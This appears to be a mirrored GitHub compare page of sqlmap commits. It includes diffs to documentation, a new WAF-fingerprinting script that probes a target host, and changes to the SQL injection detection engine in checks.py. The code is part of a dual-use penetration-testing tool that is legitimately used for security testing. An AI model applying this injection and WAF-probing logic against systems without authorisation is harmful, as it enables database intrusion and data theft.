mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
73d83280fe | ||
|
|
1bd8c519c3 | ||
|
|
a4fdbf1343 | ||
|
|
130879fbf3 | ||
|
|
db5ae9ae0b | ||
|
|
cc4833429f | ||
|
|
703b7079a4 | ||
|
|
ef52ee977f | ||
|
|
ba1b4c50be | ||
|
|
1e7dfe11b4 | ||
|
|
92febd22a8 | ||
|
|
83081b5e14 | ||
|
|
f2035145fe | ||
|
|
48b407c0fa | ||
|
|
4466504f30 | ||
|
|
dc65afe65a | ||
|
|
132e963b53 | ||
|
|
f52beff7c3 | ||
|
|
feb93dce44 | ||
|
|
e52422900e | ||
|
|
c045afd842 | ||
|
|
0d2db32539 | ||
|
|
77f4fd93e7 | ||
|
|
68f5597b4a | ||
|
|
411f56e710 | ||
|
|
fb95ab8c17 | ||
|
|
9f6e04b141 | ||
|
|
1f2bdf5a3d | ||
|
|
465a1e1a86 | ||
|
|
6af127cb64 | ||
|
|
880d438418 | ||
|
|
5efe3228f8 | ||
|
|
e005ba3f77 | ||
|
|
f2b4dc3ffc | ||
|
|
d1022f3f59 | ||
|
|
3984b94297 | ||
|
|
eba01ee74e | ||
|
|
36b660309b | ||
|
|
fd89fdf40b | ||
|
|
2e53096962 | ||
|
|
79e45bd8d7 | ||
|
|
ed5f4abebd | ||
|
|
03bbfdbc56 | ||
|
|
1b6365b195 | ||
|
|
d38a0542d8 | ||
|
|
9182b90b2b | ||
|
|
80af22435a | ||
|
|
065c5e8157 | ||
|
|
932aa8dd94 | ||
|
|
71208e891c | ||
|
|
3b369920a1 | ||
|
|
68a83098ab | ||
|
|
f4a0820dcb | ||
|
|
459e1dd9a4 | ||
|
|
4b698748f7 | ||
|
|
e697354765 | ||
|
|
721046831b | ||
|
|
a4068f9abf | ||
|
|
245c5e64e9 | ||
|
|
cd08d13647 | ||
|
|
8abae02111 | ||
|
|
dd9bfd13f2 | ||
|
|
0c7eecee9f | ||
|
|
3e72da66f9 | ||
|
|
ca9a56c0ff | ||
|
|
2d2b20344d | ||
|
|
a8a7dee800 | ||
|
|
35d9ed8476 | ||
|
|
a5e3dce26f | ||
|
|
71448b1c16 | ||
|
|
a633bc7f32 | ||
|
|
6697e49f75 | ||
|
|
db8bcd1d2e | ||
|
|
16c052ef13 | ||
|
|
a8c0722631 | ||
|
|
c9a73aeed1 | ||
|
|
470b68a83c | ||
|
|
f01ae291f8 | ||
|
|
c36749c3bb | ||
|
|
63b84c31e5 | ||
|
|
ec253dd5bd | ||
|
|
4c25a20efc | ||
|
|
2b56bdfaa6 | ||
|
|
c37014b8e8 | ||
|
|
349e9b9fa5 | ||
|
|
ac481492c0 | ||
|
|
91c5151770 | ||
|
|
ad5a731999 | ||
|
|
95be19a692 | ||
|
|
dbcf030743 | ||
|
|
fa3f3baf1e | ||
|
|
f125f64a80 | ||
|
|
12012b36b1 | ||
|
|
43c9e21c56 | ||
|
|
a831865633 | ||
|
|
578c41f6de | ||
|
|
dc01f2e773 | ||
|
|
db327a8538 | ||
|
|
aefb815064 | ||
|
|
014978cebc | ||
|
|
287371337d | ||
|
|
62a3618353 | ||
|
|
366a3f9336 | ||
|
|
74d2b60cf3 | ||
|
|
9e892e93f3 | ||
|
|
0bbf5f9467 | ||
|
|
8be4b29fd1 | ||
|
|
0507234add | ||
|
|
c3d9a1c2d4 | ||
|
|
9e8b28be7c | ||
|
|
f3f4a4cb37 | ||
|
|
2280f3ff2d | ||
|
|
d6cf038e48 | ||
|
|
2dfc383700 | ||
|
|
f20e7b403a | ||
|
|
36e62fe8a7 | ||
|
|
2542b6d241 | ||
|
|
bc13d8923b | ||
|
|
e51db6b355 | ||
|
|
6d28ca1f93 | ||
|
|
03e4741a69 | ||
|
|
b899ab9eb3 | ||
|
|
2e017eee99 | ||
|
|
a296d22195 | ||
|
|
ad11749b15 | ||
|
|
75a64245c5 | ||
|
|
9e00202823 | ||
|
|
df977d93d4 | ||
|
|
b0ca52086a |
@@ -1,10 +1,10 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap) [](https://badge.fury.io/py/sqlmap)
|
||||
|
||||
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
|
||||
|
||||
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).**
|
||||
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
|
||||
|
||||
Screenshots
|
||||
----
|
||||
|
||||
+4
-4
@@ -3,7 +3,7 @@
|
||||
* Implemented support for automatic decoding of page content through detected charset.
|
||||
* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
|
||||
* Major improvements to program stabilization based on user reports.
|
||||
* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms.
|
||||
* Added new tampering scripts avoiding popular WAF/IPS mechanisms.
|
||||
* Fixed major bug with DNS leaking in Tor mode.
|
||||
* Added wordlist compilation made of the most popular cracking dictionaries.
|
||||
* Implemented multi-processor hash cracking routine(s).
|
||||
@@ -23,7 +23,7 @@
|
||||
* Added option `--csv-del` for manually setting delimiting character used in CSV output.
|
||||
* Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
|
||||
* Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
|
||||
* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection.
|
||||
* Added switch `--check-waf` for checking of existence of WAF/IPS protection.
|
||||
* Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
|
||||
* Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
|
||||
* Major improvements to switches `--tables` and `--columns`.
|
||||
@@ -55,7 +55,7 @@
|
||||
* Added option `--host` to set the HTTP Host header value.
|
||||
* Added switch `--hostname` to turn on retrieval of DBMS server hostname.
|
||||
* Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
|
||||
* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection.
|
||||
* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
|
||||
* Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
|
||||
* Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
|
||||
* Added switch `--invalid-logical` for usage of logical operations while invalidating values.
|
||||
@@ -78,7 +78,7 @@
|
||||
* Added option `--skip` to skip testing of given parameter(s).
|
||||
* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
|
||||
* Added switch `--skip-urlencode` to skip URL encoding of payload data.
|
||||
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection.
|
||||
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
|
||||
* Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
|
||||
* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
|
||||
* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
|
||||
|
||||
@@ -565,6 +565,9 @@ Efrain Torres, <et(at)metasploit.com>
|
||||
* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
|
||||
* for his great Metasploit WMAP Framework
|
||||
|
||||
Jennifer Torres, <jtorresf42(at)gmail.com>
|
||||
* for contributing a tamper script luanginx.py
|
||||
|
||||
Sandro Tosi, <matrixhasu(at)gmail.com>
|
||||
* for helping to create sqlmap Debian package correctly
|
||||
|
||||
@@ -597,6 +600,7 @@ Carlos Gabriel Vergara, <carlosgabrielvergara(at)gmail.com>
|
||||
|
||||
Patrick Webster, <patrick(at)aushack.com>
|
||||
* for suggesting an enhancement
|
||||
* for donating to sqlmap development (from OSI.Security)
|
||||
|
||||
Ed Williams, <ed.williams(at)ngssecure.com>
|
||||
* for suggesting a minor enhancement
|
||||
|
||||
@@ -1,137 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import os
|
||||
import re
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from xml.dom.minidom import Document
|
||||
|
||||
# Path to the XML file with signatures
|
||||
MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
|
||||
|
||||
# Url to update Microsoft SQL Server XML versions file from
|
||||
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
||||
|
||||
def updateMSSQLXML():
|
||||
if not os.path.exists(MSSQL_XML):
|
||||
errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML
|
||||
print errMsg
|
||||
return
|
||||
|
||||
infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
|
||||
print infoMsg
|
||||
|
||||
try:
|
||||
req = urllib2.Request(MSSQL_VERSIONS_URL)
|
||||
f = urllib2.urlopen(req)
|
||||
mssqlVersionsHtmlString = f.read()
|
||||
f.close()
|
||||
except urllib2.URLError:
|
||||
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
||||
__mssqlHostname = __mssqlPath[1]
|
||||
|
||||
warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
|
||||
warnMsg += " check your Internet connection and retry"
|
||||
print warnMsg
|
||||
|
||||
return
|
||||
|
||||
releases = re.findall(r"class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
|
||||
releasesCount = len(releases)
|
||||
|
||||
# Create the minidom document
|
||||
doc = Document()
|
||||
|
||||
# Create the <root> base element
|
||||
root = doc.createElement("root")
|
||||
doc.appendChild(root)
|
||||
|
||||
for index in xrange(0, releasesCount):
|
||||
release = releases[index]
|
||||
|
||||
# Skip Microsoft SQL Server 6.5 because the HTML
|
||||
# table is in another format
|
||||
if release == "6.5":
|
||||
continue
|
||||
|
||||
# Create the <signatures> base element
|
||||
signatures = doc.createElement("signatures")
|
||||
signatures.setAttribute("release", release)
|
||||
root.appendChild(signatures)
|
||||
|
||||
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
|
||||
|
||||
if index == releasesCount - 1:
|
||||
stopIdx = len(mssqlVersionsHtmlString)
|
||||
else:
|
||||
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
||||
|
||||
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
||||
servicepackVersion = re.findall(r"</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
|
||||
|
||||
for servicePack, version in servicepackVersion:
|
||||
if servicePack.startswith(" "):
|
||||
servicePack = servicePack[1:]
|
||||
if "/" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("/")]
|
||||
if "(" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("(")]
|
||||
if "-" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("-")]
|
||||
if "*" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("*")]
|
||||
if servicePack.startswith("+"):
|
||||
servicePack = "0%s" % servicePack
|
||||
|
||||
servicePack = servicePack.replace("\t", " ")
|
||||
servicePack = servicePack.replace("No SP", "0")
|
||||
servicePack = servicePack.replace("RTM", "0")
|
||||
servicePack = servicePack.replace("TM", "0")
|
||||
servicePack = servicePack.replace("SP", "")
|
||||
servicePack = servicePack.replace("Service Pack", "")
|
||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||
servicePack = servicePack.replace(" ", " ")
|
||||
servicePack = servicePack.replace("+ ", "+")
|
||||
servicePack = servicePack.replace(" +", "+")
|
||||
|
||||
if servicePack.endswith(" "):
|
||||
servicePack = servicePack[:-1]
|
||||
|
||||
if servicePack and version:
|
||||
# Create the main <card> element
|
||||
signature = doc.createElement("signature")
|
||||
signatures.appendChild(signature)
|
||||
|
||||
# Create a <version> element
|
||||
versionElement = doc.createElement("version")
|
||||
signature.appendChild(versionElement)
|
||||
|
||||
# Give the <version> elemenet some text
|
||||
versionText = doc.createTextNode(version)
|
||||
versionElement.appendChild(versionText)
|
||||
|
||||
# Create a <servicepack> element
|
||||
servicepackElement = doc.createElement("servicepack")
|
||||
signature.appendChild(servicepackElement)
|
||||
|
||||
# Give the <servicepack> elemenet some text
|
||||
servicepackText = doc.createTextNode(servicePack)
|
||||
servicepackElement.appendChild(servicepackText)
|
||||
|
||||
# Save our newly created XML to the signatures file
|
||||
mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
|
||||
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
|
||||
mssqlXml.close()
|
||||
|
||||
infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
|
||||
print infoMsg
|
||||
|
||||
if __name__ == "__main__":
|
||||
updateMSSQLXML()
|
||||
@@ -25,10 +25,11 @@ from setuptools import setup, find_packages
|
||||
setup(
|
||||
name='sqlmap',
|
||||
version='$VERSION',
|
||||
description="Automatic SQL injection and database takeover tool",
|
||||
description='Automatic SQL injection and database takeover tool',
|
||||
long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.',
|
||||
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
|
||||
author_email='[email protected], [email protected]',
|
||||
url='https://sqlmap.org',
|
||||
url='http://sqlmap.org',
|
||||
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
|
||||
license='GNU General Public License v2 (GPLv2)',
|
||||
packages=find_packages(),
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import cookielib
|
||||
import glob
|
||||
import httplib
|
||||
import inspect
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import urllib2
|
||||
|
||||
sys.dont_write_bytecode = True
|
||||
|
||||
NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)"
|
||||
TIMEOUT = 10
|
||||
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"}
|
||||
SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
|
||||
SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf")
|
||||
LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"}
|
||||
CACHE = {}
|
||||
WAF_FUNCTIONS = []
|
||||
|
||||
def get_page(get=None, url=None, host=None, data=None):
|
||||
key = (get, url, host, data)
|
||||
|
||||
if key in CACHE:
|
||||
return CACHE[key]
|
||||
|
||||
page, headers, code = None, {}, httplib.OK
|
||||
|
||||
url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1])
|
||||
if not url.startswith("http"):
|
||||
url = "http://%s" % url
|
||||
|
||||
try:
|
||||
req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS)
|
||||
conn = urllib2.urlopen(req, timeout=TIMEOUT)
|
||||
page = conn.read()
|
||||
headers = conn.info()
|
||||
except Exception, ex:
|
||||
code = getattr(ex, "code", None)
|
||||
page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
|
||||
headers = ex.info() if hasattr(ex, "info") else {}
|
||||
|
||||
result = CACHE[key] = page, headers, code
|
||||
|
||||
return result
|
||||
|
||||
def colorize(message):
|
||||
if not subprocess.mswindows and sys.stdout.isatty():
|
||||
message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message)
|
||||
message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m")
|
||||
message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME)
|
||||
|
||||
return message
|
||||
|
||||
def main():
|
||||
global WAF_FUNCTIONS
|
||||
|
||||
print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1]))
|
||||
|
||||
cookie_jar = cookielib.CookieJar()
|
||||
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
sys.path.insert(0, SQLMAP_DIR)
|
||||
|
||||
for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")):
|
||||
dirname, filename = os.path.split(found)
|
||||
dirname = os.path.abspath(dirname)
|
||||
|
||||
if filename == "__init__.py":
|
||||
continue
|
||||
|
||||
if dirname not in sys.path:
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
try:
|
||||
if filename[:-3] in sys.modules:
|
||||
del sys.modules[filename[:-3]]
|
||||
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8"))
|
||||
except ImportError, msg:
|
||||
exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg)))
|
||||
|
||||
_ = dict(inspect.getmembers(module))
|
||||
if "detect" not in _:
|
||||
exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found))
|
||||
else:
|
||||
WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3])))
|
||||
|
||||
WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower())
|
||||
|
||||
print colorize("[i] %d WAF scripts loaded" % len(WAF_FUNCTIONS))
|
||||
|
||||
found = False
|
||||
for function, product in WAF_FUNCTIONS:
|
||||
if found and "unknown" in product.lower():
|
||||
continue
|
||||
|
||||
if function(get_page):
|
||||
print colorize("[!] WAF/IPS identified as '%s'" % product)
|
||||
found = True
|
||||
|
||||
if not found:
|
||||
print colorize("[o] nothing found")
|
||||
|
||||
print
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -140,11 +140,11 @@ def action():
|
||||
conf.dbmsHandler.udfInjectCustom()
|
||||
|
||||
# File system options
|
||||
if conf.rFile:
|
||||
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile))
|
||||
if conf.fileRead:
|
||||
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead))
|
||||
|
||||
if conf.wFile:
|
||||
conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
|
||||
if conf.fileWrite:
|
||||
conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
|
||||
|
||||
# Operating system options
|
||||
if conf.osCmd:
|
||||
|
||||
+37
-34
@@ -13,6 +13,7 @@ import random
|
||||
import re
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
|
||||
@@ -73,6 +74,7 @@ from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapSilentQuitException
|
||||
from lib.core.exception import SqlmapSkipTargetException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
|
||||
from lib.core.settings import CHECK_INTERNET_ADDRESS
|
||||
from lib.core.settings import CHECK_INTERNET_VALUE
|
||||
@@ -87,9 +89,12 @@ from lib.core.settings import IDS_WAF_CHECK_RATIO
|
||||
from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
|
||||
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
|
||||
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
|
||||
from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
|
||||
from lib.core.settings import SINGLE_QUOTE_MARKER
|
||||
from lib.core.settings import SLEEP_TIME_MARKER
|
||||
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.settings import URI_HTTP_HEADER
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
@@ -357,7 +362,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
# Parse test's <request>
|
||||
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
|
||||
for boundary in boundaries:
|
||||
injectable = False
|
||||
@@ -468,13 +473,13 @@ def checkSqlInjection(place, parameter, value):
|
||||
# payload was successful
|
||||
# Parse test's <response>
|
||||
for method, check in test.response.items():
|
||||
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
|
||||
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
|
||||
# In case of boolean-based blind SQL injection
|
||||
if method == PAYLOAD.METHOD.COMPARISON:
|
||||
# Generate payload used for comparison
|
||||
def genCmpPayload():
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
|
||||
# Forge response payload by prepending with
|
||||
# boundary's prefix and appending the boundary's
|
||||
@@ -761,7 +766,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
|
||||
logger.info(infoMsg)
|
||||
|
||||
process = subprocess.Popen(conf.alert, shell=True)
|
||||
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
|
||||
process.wait()
|
||||
|
||||
kb.alerted = True
|
||||
@@ -856,8 +861,8 @@ def heuristicCheckDbms(injection):
|
||||
if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
|
||||
continue
|
||||
|
||||
if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
|
||||
if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
|
||||
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
|
||||
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
|
||||
retVal = dbms
|
||||
break
|
||||
|
||||
@@ -893,7 +898,7 @@ def checkFalsePositives(injection):
|
||||
|
||||
kb.injection = injection
|
||||
|
||||
for i in xrange(conf.level):
|
||||
for level in xrange(conf.level):
|
||||
while True:
|
||||
randInt1, randInt2, randInt3 = (_() for j in xrange(3))
|
||||
|
||||
@@ -989,11 +994,6 @@ def checkFilteredChars(injection):
|
||||
kb.injection = popValue()
|
||||
|
||||
def heuristicCheckSqlInjection(place, parameter):
|
||||
if kb.nullConnection:
|
||||
debugMsg = "heuristic check skipped because NULL connection used"
|
||||
logger.debug(debugMsg)
|
||||
return None
|
||||
|
||||
if kb.heavilyDynamic:
|
||||
debugMsg = "heuristic check skipped because of heavy dynamicity"
|
||||
logger.debug(debugMsg)
|
||||
@@ -1118,14 +1118,6 @@ def checkDynParam(place, parameter, value):
|
||||
try:
|
||||
payload = agent.payload(place, parameter, value, getUnicode(randInt))
|
||||
dynResult = Request.queryPage(payload, place, raise404=False)
|
||||
|
||||
if not dynResult:
|
||||
infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
randInt = randomInt()
|
||||
payload = agent.payload(place, parameter, value, getUnicode(randInt))
|
||||
dynResult = Request.queryPage(payload, place, raise404=False)
|
||||
except SqlmapConnectionException:
|
||||
pass
|
||||
|
||||
@@ -1229,7 +1221,7 @@ def checkStability():
|
||||
logger.error(errMsg)
|
||||
|
||||
else:
|
||||
warnMsg = "target URL content is not stable. sqlmap will base the page "
|
||||
warnMsg = "target URL content is not stable (i.e. content differs). sqlmap will base the page "
|
||||
warnMsg += "comparison on a sequence matcher. If no dynamic nor "
|
||||
warnMsg += "injectable parameters are detected, or in case of "
|
||||
warnMsg += "junk results, refer to user's manual paragraph "
|
||||
@@ -1314,9 +1306,8 @@ def checkRegexp():
|
||||
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
|
||||
|
||||
if not re.search(conf.regexp, rawResponse, re.I | re.M):
|
||||
warnMsg = "you provided '%s' as the regular expression to " % conf.regexp
|
||||
warnMsg += "match, but such a regular expression does not have any "
|
||||
warnMsg += "match within the target URL raw response, sqlmap "
|
||||
warnMsg = "you provided '%s' as the regular expression " % conf.regexp
|
||||
warnMsg += "which does not have any match within the target URL raw response. sqlmap "
|
||||
warnMsg += "will carry on anyway"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -1335,7 +1326,7 @@ def checkWaf():
|
||||
if _ is not None:
|
||||
if _:
|
||||
warnMsg = "previous heuristics detected that the target "
|
||||
warnMsg += "is protected by some kind of WAF/IPS/IDS"
|
||||
warnMsg += "is protected by some kind of WAF/IPS"
|
||||
logger.critical(warnMsg)
|
||||
return _
|
||||
|
||||
@@ -1343,7 +1334,7 @@ def checkWaf():
|
||||
return None
|
||||
|
||||
infoMsg = "checking if the target is protected by "
|
||||
infoMsg += "some kind of WAF/IPS/IDS"
|
||||
infoMsg += "some kind of WAF/IPS"
|
||||
logger.info(infoMsg)
|
||||
|
||||
retVal = False
|
||||
@@ -1357,7 +1348,12 @@ def checkWaf():
|
||||
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
|
||||
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
|
||||
|
||||
pushValue(kb.redirectChoice)
|
||||
pushValue(kb.resendPostOnRedirect)
|
||||
pushValue(conf.timeout)
|
||||
|
||||
kb.redirectChoice = REDIRECTION.YES
|
||||
kb.resendPostOnRedirect = False
|
||||
conf.timeout = IDS_WAF_CHECK_TIMEOUT
|
||||
|
||||
try:
|
||||
@@ -1366,16 +1362,19 @@ def checkWaf():
|
||||
retVal = True
|
||||
finally:
|
||||
kb.matchRatio = None
|
||||
|
||||
conf.timeout = popValue()
|
||||
kb.resendPostOnRedirect = popValue()
|
||||
kb.redirectChoice = popValue()
|
||||
|
||||
if retVal:
|
||||
warnMsg = "heuristics detected that the target "
|
||||
warnMsg += "is protected by some kind of WAF/IPS/IDS"
|
||||
warnMsg += "is protected by some kind of WAF/IPS"
|
||||
logger.critical(warnMsg)
|
||||
|
||||
if not conf.identifyWaf:
|
||||
message = "do you want sqlmap to try to detect backend "
|
||||
message += "WAF/IPS/IDS? [y/N] "
|
||||
message += "WAF/IPS? [y/N] "
|
||||
|
||||
if readInput(message, default='N', boolean=True):
|
||||
conf.identifyWaf = True
|
||||
@@ -1399,7 +1398,7 @@ def identifyWaf():
|
||||
kb.testMode = True
|
||||
|
||||
